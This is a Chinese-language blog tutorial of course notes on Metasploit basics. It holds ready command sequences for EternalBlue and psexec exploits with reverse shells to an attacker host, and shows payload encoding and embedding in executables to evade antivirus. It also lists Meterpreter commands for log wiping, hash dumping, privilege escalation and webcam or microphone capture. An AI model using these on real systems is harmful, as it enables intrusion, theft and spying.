Kali Linux渗透测试——MSF基础篇

笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程

Metasploit是目前最流行、最强大、最具扩展性的渗透测试平台,一定程度上统一了渗透测试和漏洞研究的工作环境,使得新的攻击代码比较容易加入框架。Metasploit更新速度非常快,几乎每周都会有版本更新,所以2014年之后市场上没有再出现新的Metasploit教材。

文章目录

      • 一、MSF基本介绍
        • 1.版本区分
        • 2.MSF架构
      • 二、MSF基本使用
        • 1.功能模块
        • 2.基本命令
        • 3.数据库命令
      • 三、MSF模块使用
        • (一)Exploit模块
        • (二)Payload/Encoder模块
      • 四、Meterpreter
        • (一)Meterpreter简介
        • (二)Meterpreter常用命令
        • (三)Meterpreter python扩展
      • 五、Msfcli

一、MSF基本介绍

1.版本区分

Kali Linux渗透测试——MSF基础篇_第1张图片

图1 Metasploit 版本

2.MSF架构

Rex :操作系统级基本库,是MSF的底层依赖

MFS::Core :MSF底层库

MSF::Base :便于用户调用的基本库,提供API (模块功能基于Base库)

MSF::UI :用户界面(最常用MSF console接口)
Kali Linux渗透测试——MSF基础篇_第2张图片

图2 MSF架构图

二、MSF基本使用

1.功能模块

Kali Linux渗透测试——MSF基础篇_第3张图片

图3 msf功能模块

MSF主目录为/usr/share/metasploit-framework/,其中包括了config配置文件、plugins插件、tools工具、db数据库文件、modules模块文件以及msfconsole、msfdb等命令,modules中的文件为我们最常用的模块文件,其中每个模块中都根据不同的操作系统,分为不同平台不同协议功能对应的漏洞利用文件,这些文件用ruby编写。

modules中的模块主要包括:

exploits:利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法,是一个流程性概念,其利用过程中往往会用到payloads

payloads:成功exploit后,攻击过程中执行的代码或指令。可以是能够反弹shell的shellcode,也可以是直接在目标系统上直接执行的系统命令,默认有三类payloads,分别为:

  • singles:要执行的所有代码都放在一个文件中,没有外部依赖,因此文件比较大,可能会因为攻击目标内存空间受限而无法使用
  • stagers:传输一个较小的payload用于建立连接,后续再传输具体攻击payload(也就是stages)
  • stages:利用stagers建立连接后,后续再传输的代码

auxiliary:没有payload的exploits模块,一般在信息收集阶段使用

encoders:对payloads进行加密,躲避AV检查的模块

post:取得shell后,进一步运行的攻击指令(运行post模块的方法有两个,一是在取得的shell中直接run运行;二是use相应的post模块,set相应的shell session,然后run运行)

注:ms08_067_netapi.rb是微软漏洞的编号方式,不同标准有不同的编号方式。ms08-067漏洞,会影响大部分Windows XP系统,通过MSRPC over SMB通道调用Server服务程序中的函数时触发
Kali Linux渗透测试——MSF基础篇_第4张图片

图4 search命令使用

2.基本命令

msfconsole   #启动MSF console界面

msfupdate    #msf版本更新

help/?       #打印当下窗口的帮助文档

help command/command --help #打印command命令的帮助文档

connect      #可以看成是msfconsole界面下的nc工具

edit         #编辑模块的ruby文件,与用vim编辑相同

show         #查看命令,可以看当前环境下的exploits、auxiliary、payloads等模块,其中Rank表示不同模块的评级(成功率和使用难易程度的重要参考),

             #最常使用的是`show options`命令,表示当前上下文环境中的选项内容,`show missing`可以查看当前有哪些必须的配置没有设置

show advanced   #一些不常用的高级选项,不会在`show options`中显示

search       #搜索关键词内容对应的模块,如搜索ms10_046漏洞模块:
(注意搜索出的内容所在基本目录为`/usr/share/metasploit-framework/modules/`),除此之外search还可以添加一些筛选条件,如name、path、type等

info         #当前模块的基本信息

use          #使用不同的模块文件

set/unset    #设置变量/取消变量设置

setg/unsetg  #设置全局变量/取消全局变量设置,只会设置当前msf运行环境中的变量,退出msf后设置就复位

save         #将设置保存到/root/.msf4/config,msf启动时会读取该文件,这样重新启动msf后设置依然保留

back         #从模块上下文退回到msfconsole初始目录

run/exploit  #运行漏洞模块

sessions     #可以看见当前已经建立的攻击连接,利用`sessions -i id`命令进入指定连接

jobs         #查看后台运行的模块

load/unload  #连接插件,如load openvas,然后会出现相应的openvas命令,使用时需要用openvas_connect连接外部扫描器

loadpath     #调用自己编写的功能模块

route        #向session指定路由

resource     #调用rc文件的命令并执行,以方便直接取得session

3.数据库命令

(1)数据库管理所用的命令为msfdb命令:

msfdb init
msfdb reinit
msfdb delete
msfdb start
msfdb stop

(2)在msfconsole中数据库管理命包括:

db_connect
db_disconnect
db_status         #查看数据库状态,有无连接
db_nmap           #后续可以用hosts命令来查询扫描出的主机
db_rebuild_cache  #建立模块文件的缓存,使search搜索速度更快        
db_remove
db_export         #导出备份信息
db_import         #导入备份信息,备份为xml文件

其中db_nmap在nmap功能基础上,将搜索的数据存入数据库,便于后续查询。

三、MSF模块使用

(一)Exploit模块

分为两类,Active exploit和Passive exploit,具体区别如下:

Active exploit,攻击目标开放了某个端口服务,攻击者利用exploit传输payload,使攻击目标反弹shell或者建立连接连入攻击者,也就是说攻击者主动发起攻击,一般去攻击服务器端程序,也是最常用的。

注:永恒之蓝ms17_010_eternalblue是在Windows的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码,它影响的范围包括win7和sever 2008的所有版本系统。

eg1:以永恒之蓝漏洞利用
use auxiliary/acanner/smb/smb_ms17_010  #进行漏洞分析,看445端口能否被入侵
set RHOSTS 10.10.11.122
run        #如果结果中出现`Host is likely VULNERABLE to MS17-010`,则说明主机很可能有永恒之蓝漏洞
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.11.122
set payload windows/meterpreter/reverse_tcp
run        #随后可以看到进入了meterpreter

Kali Linux渗透测试——MSF基础篇_第5张图片

图5 永恒之蓝漏洞利用
eg2:(前提知道攻击目标的账户名和密码)
use exploit/windows/smb/psexec
set RHOSTS 10.10.11.122
set PAYLOAD windows/shell/reverse_tcp
set LHOST 10.10.11.151
set LPORT 4444
set SMBUSER user1
set SMBPASS pass1
run

Passive exploit,利用客户端程序的漏洞,客户端向存在exploit的服务端发送请求,返回的漏洞利用代码使得客户端可以反弹shell (reverse_tcp)或者反向建立连接(bind_tcp)连入攻击者,也就是说攻击者诱使攻击目标连接服务程序,通过返回的代码完成攻击,一般去攻击客户端程序。

eg:(利用攻击目标浏览器的漏洞,诱使攻击目标用浏览器访问攻击者设置的目录文件)
use exploit/windows/browser/ms07_017_ani_loadimage_chunksize
set URIPATH /   #诱使攻击目标访问的目录
set PAYLOAD windows/shell/reverse_tcp
set LHOST 10.10.11.151
set LPORT 4444
run             #exploit成功后只是伪造了一个有漏洞利用代码的站点,等待攻击目标连接

(二)Payload/Encoder模块

Payload是在攻击目标主机中真正执行的代码,它不仅可以用exploit模块加载,而且也可以作为独立的个体,通过诱使攻击目标运行而发动攻击。

Payload模块可以用generate命令修改代码:

generate         #把Payload代码以16进制格式输出
generate -b 'xx' #除去Payload中的坏字符'xx',除去的过程是重新编码,MSF会选择最佳的Encoder方式
generate -i 5 -x 'yyy.exe' -f 'xyyy.exe' #对Payload加密5轮,将Payload附加在yyy.exe程序中,生成新的程序命名为xyyy.exe
                                         #这样xyyy.exe在目标主机上执行时,yyy.exe功能不发生变化,而Payload会被执行
generate -s 10   #在Payload前生成10个nop字节(nop:EIP返回到存储nop sled的任意地址时将递增,最终导致shellcode执行)
generate -t c    #生成c语言格式的Payload

四、Meterpreter

(一)Meterpreter简介

  • 一种高级、动态、可扩展的Payload,可以基于meterpreter上下文利用更多漏洞发起攻击,同时也是后渗透测试阶段一站式操作界面。

  • 完全基于内存的DLL注入式payload(不写硬盘),不会在日志文件中留下痕迹,会注入合法进程并建立stager,隐蔽性非常好。可以基于stager上传和预加载DLL进行扩展模块的注入,可以基于stager建立的socket连接建立加密的TLS通信隧道

  • 服务端使用C语言编写

  • 客户端提供基于Ruby的全特性API(支持其他语言,但功能可能受限)

(二)Meterpreter常用命令

backround        #退回msfconsole界面,同样适用于msf界面进入的普通shell的退回操作。若是从shell中进入的,退回shell则用exit

pwd/cd/cat/ls/ps/reboot/shutdown/.. #些基本命令都可以使用,但是注意没有补齐功能

edit             #Meterpreter界面下的vi

lpwd             #显示当前主机的工作目录(pwd是目标主机的工作目录)

lcd              #当前主机目录的切换

run/bgrun        #运行/后台运行命令,tab后有几百个选择,可以实现远程桌面监控、usb痕迹查看等功能,功能十分强大

clearev          #清除目标主机的系统日志

download/upload  #下载/上传文件(注意表示windows的目录要用\\)

execute -f xx -i #执行xx程序,-i参数表示与该程序进行交互,-H表示将窗口隐藏执行

getuid           #查看当前登录的账号

getprivs         #查看当前具有的权限

load priv        #加载priv插件

getsystem        #加载priv后,提权变为系统账号

getpid           #meterpreter注入的进程号

migrate          #迁移meterpreter注入的进程,一般将session迁移到系统进程,如exploer

hashdump或者run post/windows/gather/hashdump   #从SAM数据库中导出本地用户账号
	             #注:SAM文件是windows的用户账户数据库,所有用户的登录名及口令等
	             #相关信息都会保存在这个文件中,类似于unix系统中的passwd文件

sysinfo          #获取系统信息

kill             #杀死进程

shell            #反弹shell

show_mount       #显示分区

search           #搜索文件

netstat/arp/ipconfig/ifconfig/route/... #支持部分在windows cmd和linux shell中的命令

idletime         #查看计算机的空闲时间

resource         #连接一个外部文件并执行,文件中一般是要执行的命令

record_mic       #开启麦克风

webcam_list      #列出电脑上开启的摄像头

webcam_snap -i 1 -v false #每隔1秒钟进行拍照

(三)Meterpreter python扩展

无需运行环境,在攻击目标中直接运行原生python代码

load python           #加载python插件
python_execute 'xxx'  #运行python语句
python_import         #导入python脚本文件

五、Msfcli

Msfcli是Metasploit提供的一种命令行接口,在使用时用一句命令完成所有动作,由msfconsole -x进入,使用cli接口的目的主要是编写脚本时便于引用,如:

msfconsole -x 'use exploit/windows/smb/ms08_067+netapi;
set RHOST 1.1.1.1;set PAYLOAD windows/meterpreter/reverse_tcp;
set LHOST 1.1.1.6;set LPORT 5555;set target 34;exploit'

你可能感兴趣的:(Kali,Linux渗透测试)